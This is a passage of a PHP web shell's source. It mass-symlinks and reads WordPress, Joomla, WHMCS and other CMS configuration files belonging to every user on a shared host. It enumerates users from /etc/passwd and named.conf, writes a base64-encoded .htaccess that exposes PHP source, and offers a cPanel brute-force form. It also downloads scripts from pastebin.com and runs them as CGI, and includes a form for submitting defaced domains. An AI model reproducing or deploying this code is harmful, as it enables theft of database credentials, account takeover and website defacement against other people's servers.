  2363. symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2364. symlink('/home6/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2365. symlink('/home6/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2366. symlink('/home6/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2367. symlink('/home6/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2368. symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2369. symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2370. symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2371. symlink('/home6/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2372. symlink('/home6/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2373. symlink('/home6/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2374. symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2375. symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2376. symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2377. symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2378. symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2379. symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2380. symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2381. symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2382. symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2383. symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2384. symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2385. symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2386. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2387. symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2388. symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2389. symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2390. symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2391. symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2392. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2393. symlink('/home7/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
  2394. symlink('/home7/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
  2395. symlink('/home7/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
  2396. symlink('/home7/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
  2397. symlink('/home7/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
  2398. symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2399. symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2400. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2401. symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2402. symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2403. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2404. symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2405. symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2406. symlink('/home7/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2407. symlink('/home7/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2408. symlink('/home7/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2409. symlink('/home7/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2410. symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2411. symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2412. symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2413. symlink('/home7/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2414. symlink('/home7/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2415. symlink('/home7/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2416. symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2417. symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2418. symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2419. symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2420. symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2421. symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2422. symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2423. symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2424. symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2425. symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2426. symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2427. symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2428. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2429. symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2430. symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2431. symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2432. symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2433. symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2434. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2435. }
  2436. $d0mains = @file("/etc/named.conf");
  2437. if($d0mains)
  2438. {
  2439. mkdir($fn);
  2440. chdir($fn);
  2441. foreach($d0mains as $d0main)
  2442. {
  2443. if(eregi("zone",$d0main))
  2444. {
  2445. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2446. flush();
  2447. if(strlen(trim($domains[1][0])) > 2)
  2448. {
  2449. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2450. syml($user['name'],$domains[1][0]);
  2451. }
  2452. }
  2453. }
  2454. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2455. }
  2456. else
  2457. {
  2458. mkdir($fn);
  2459. chdir($fn);
  2460. $temp = "";
  2461. $val1 = 0;
  2462. $val2 = 1000;
  2463. for(;$val1 <= $val2;$val1++)
  2464. {
  2465. $uid = @posix_getpwuid($val1);
  2466. if ($uid)
  2467. $temp .= join(':',$uid)."\n";
  2468. }
  2469. echo '<br/>';
  2470. $temp = trim($temp);
  2471. $file5 = fopen("test.txt","w");
  2472. fputs($file5,$temp);
  2473. fclose($file5);
  2474. $htaccess =
  2475. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  2476. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  2477. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  2478. ';
  2479. $file = fopen(".htaccess","w+");
  2480. $write = fwrite ($file ,base64_decode($htaccess));
  2481.  
  2482. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2483. while(!feof($file))
  2484. {
  2485. $s = fgets($file);
  2486. $matches = array();
  2487. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2488. $matches = str_replace("home/","",$matches[1]);
  2489. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2490. continue;
  2491. syml($matches,$matches);
  2492. }
  2493. fclose($file);
  2494. echo "</table>";
  2495. unlink("test.txt");
  2496. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2497. }
  2498. exit;
  2499. }
  2500. ?>
  2501. <form method="POST" target="_blank">
  2502. <input name="page" type="hidden" value="find">
  2503. <table width="550" cellpadding="3" cellspacing="1" align="center" style="border:3px solid #EB4949;" border=1>
  2504. <tr>
  2505. <td valign="top" colspan="6" style="border-bottom:2px solid #EB4949;padding:10px;"><center><span style="font-family: Verdana;font-size:30px;font-weight:bold;text-shadow: <?php echo $color[0]; ?> 0.0em 0.0em 0.2em;">D.A.C CPanel Bruteforce</span><br>
  2506. </center></td>
  2507. </tr>
  2508. <tr>
  2509. <td valign="top" style="width: 200px;"><span class="label">Safe Mode</span></td>
  2510. <td valign="top" colspan="5"><span class="label">
  2511. <?php
  2512. $safe_mode = ini_get('safe_mode');
  2513. if($safe_mode=='1')
  2514. {
  2515. echo 'ON';
  2516. }else{
  2517. echo 'OFF';
  2518. }
  2519. ?>
  2520. </span>
  2521. </td>
  2522. </tr>
  2523. </form>
  2524. <tr>
  2525. <td valign="top"><span class="label">Disable Function</span></td>
  2526. <td valign="top" colspan="5">
  2527. <form method="POST" target="?cp">
  2528. <input name="matikan" type="hidden" value="sekatan">
  2529. <?php
  2530. if(''==($func=@ini_get('disable_functions')))
  2531. {
  2532. echo "<font color='#EB4949' style='position:absolute;font-size:13px;'>No Security for Function</font>";
  2533. echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><font color="#EB4949" style="font-size:13px;">Success</font></td></tr>';
  2534. }else{
  2535. echo '<script>alert("\t Please See Below And Press \t \n \t --->| Click Here First! |<--- \t");</script>';
  2536. echo "<font color=#FF0000 style='position:relatif;font-size:13px;'>$func</font>";
  2537. echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><input type="submit" value="Click Here First!"></td></tr>';
  2538. }
  2539. ?></form></td>
  2540. <form method="POST" target="?cp">
  2541. <input name="mendapatkan" type="hidden" value="passwd">
  2542. <tr>
  2543. <td valign="top"><span class="label">Get Config</span></td>
  2544. <td valign="top"><input size="35" name="foldername" type="text" value="create_name_folder_config"> <input type="submit" value="Submit"></td>
  2545. </td>
  2546. </tr>
  2547. </form>
  2548. <form method="POST" target="_blank">
  2549. <input name="pass1" type="hidden" value="password">
  2550. <tr>
  2551. <td valign="top"><span class="label">Get Passlist</span></td>
  2552. <td valign="top"><input size="35" name="url" type="text" value="url_of_config"> <input type="submit" value="Submit"></td>
  2553. </td>
  2554. </tr>
  2555. </form>
  2556. <tr>
  2557. <td valign="top">
  2558. <span class="label">Userlist</span></td>
  2559. <td valign="top" colspan="5"><textarea cols="40" rows="7" name="usernames"><?php system('ls /var/mail');?></textarea></td>
  2560. </tr>
  2561. <tr>
  2562. <td valign="top">
  2563. <span class="label">Passlist</span></td>
  2564. <td valign="top"colspan="5"><textarea cols="40" rows="7" name="passwords"></textarea></td>
  2565. </tr>
  2566. <tr>
  2567. <td valign="top">
  2568. <span class="label">Type</span></td>
  2569. <td valign="top" colspan="5">
  2570. <input type="radio" name="type" value="simple" checked="checked"><span class="label">Simple</span>
  2571. <input type="radio" name="type" value="passwd"><span class="label">/etc/passwd</span>
  2572. <input type="submit" value="Submit">
  2573. </td>
  2574. </tr>
  2575. </form>
  2576.  
  2577.  
  2578. </table>
  2579. </body>
  2580. </html>
  2581. <?php exit;
  2582.  
  2583. }
  2584.  
  2585. function actionconfiggrab() {
  2586. printHeader();
  2587.  
  2588. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2589. $expld = explode('/',$furl );
  2590. $burl =str_replace(end($expld),'',$furl);
  2591. echo '<div class="content"><center>
  2592. <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
  2593. [ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
  2594.  
  2595.  
  2596. if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
  2597.  
  2598. if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
  2599.  
  2600. $dir = 'plconfig';
  2601. @mkdir($dir);
  2602. if($dir){
  2603. echo '<br><center> plconfig Has Been Created ~</center>';
  2604. } else {
  2605. echo '<br><center> [-] Error !</center>';
  2606. }
  2607. $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
  2608. $file = file_get_contents($htaccess);
  2609. $open = fopen('plconfig/.htaccess' , 'w');
  2610. fwrite($open,$file);
  2611. fclose($open);
  2612. if($open) {
  2613. echo '<br><center> [htaccess] => Has Been Created ~</center>';
  2614. } else {
  2615. echo "<br><center>[+] Error !</center>";
  2616. }
  2617. $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
  2618. $file = file_get_contents($con);
  2619. $open = fopen('plconfig/con.cpc' , 'w');
  2620. fwrite($open,$file);
  2621. fclose($open);
  2622. if($open) {
  2623. echo '<br><center> [cgi] => Has Been Created !</center>';
  2624. } else {
  2625. echo '<br><center>[-] Error !</center>';
  2626. }
  2627.  
  2628.  
  2629. $ch = 'plconfig/con.cpc';
  2630. chmod($ch, 0755);
  2631. if($cgip){
  2632. echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
  2633. } else {
  2634. }
  2635.  
  2636. echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
  2637. echo ('Please Wait . ');
  2638.  
  2639. }
  2640. printFooter();
  2641. }
  2642. function actionusefulla() {
  2643. printHeader();
  2644. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2645. $expld = explode('/',$furl );
  2646. $burl =str_replace(end($expld),'',$furl);
  2647. echo '<div class="content"><center>';
  2648. $string = 1;
  2649. if($string == 1)
  2650. {
  2651. ?>
  2652. <br />
  2653. <div class="zoneh">
  2654. <center>
  2655. <form action="<?php echo $self;?>?submit=send" method="post">
  2656. <span>Notifier: </span><input name="defacer" size="67" id="text" value="An0n 3xPloiTeR" type="text"><br />
  2657. <span>Select Hack Method: </span><select name="hackmode">
  2658. <option value="">--------SELECT--------</option>
  2659. <option value="1" >known vulnerability (i.e. unpatched system)</option>
  2660. <option value="2" >undisclosed (new) vulnerability</option>
  2661. <option value="3" >configuration / admin. mistake</option>
  2662. <option value="4" >brute force attack</option>
  2663. <option value="5" >social engineering</option>
  2664. <option value="6" >Web Server intrusion</option>
  2665. <option value="7" >Web Server external module intrusion</option>
  2666. <option value="8" >Mail Server intrusion</option>
  2667. <option value="9" >FTP Server intrusion</option>
  2668. <option value="10" >SSH Server intrusion</option>
  2669. <option value="11" >Telnet Server intrusion</option>
  2670. <option value="12" >RPC Server intrusion</option>
  2671. <option value="13" >Shares misconfiguration</option>
  2672. <option value="14" >Other Server intrusion</option>
  2673. <option value="15" >SQL Injection</option>
  2674. <option value="16" >URL Poisoning</option>
  2675. <option value="17" >File Inclusion</option>
  2676. <option value="18" >Other Web Application bug</option>
  2677. <option value="19" >Remote administrative panel access through bruteforcing</option>
  2678. <option value="20" >Remote administrative panel access through password guessing</option>
  2679. <option value="21" >Remote administrative panel access through social engineering</option>
  2680. <option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
  2681. <option value="23" >Access credentials through Man In the Middle attack</option>
  2682. <option value="24" >Remote service password guessing</option>
  2683. <option value="25" >Remote service password bruteforce</option>
  2684. <option value="26" >Rerouting after attacking the Firewall</option>
  2685. <option value="27" >Rerouting after attacking the Router</option>
  2686. <option value="28" >DNS attack through social engineering</option>
  2687. <option value="29" >DNS attack through cache poisoning</option>
  2688. <option value="30" >Not available</option>
  2689. <option value="31" >Cross-Site Scripting</option>
  2690. </select>
  2691. <br />
  2692. <span>Select The Reason: </span><select name="reason">
  2693. <option value="">--------SELECT--------</option>
  2694. <option
  2695. value="1" >Heh...just for fun!</option>
  2696. <option value="2" >Revenge against that website</option>
  2697. <option value="3" >Political reasons</option>
  2698. <option value="4" >As a challenge</option>
  2699. <option value="5" >I just want to be the best defacer</option>
  2700. <option value="6" >Patriotism</option>
  2701. <option value="7" >Not available</option>
  2702. </select><br />
  2703. <textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
  2704. <br />
  2705. <input type="submit" value="send" />
  2706. </form>
  2707.  
  2708. </center>
  2709. <?php
  2710.  
  2711.  
  2712. }
  2713. printFooter();
  2714. }
  2715.  
  2716. if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
  2717. printHeader();
  2718. $defacer= $_REQUEST['defacer'];
  2719. $hackmode= $_REQUEST['hackmode'];
  2720. $reason= $_REQUEST['reason'];
  2721. $domains= $_REQUEST['domains'];
  2722. $domains_list=explode("\n",$domains);
  2723.  
  2724. if (empty($defacer))
  2725. {
  2726. die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
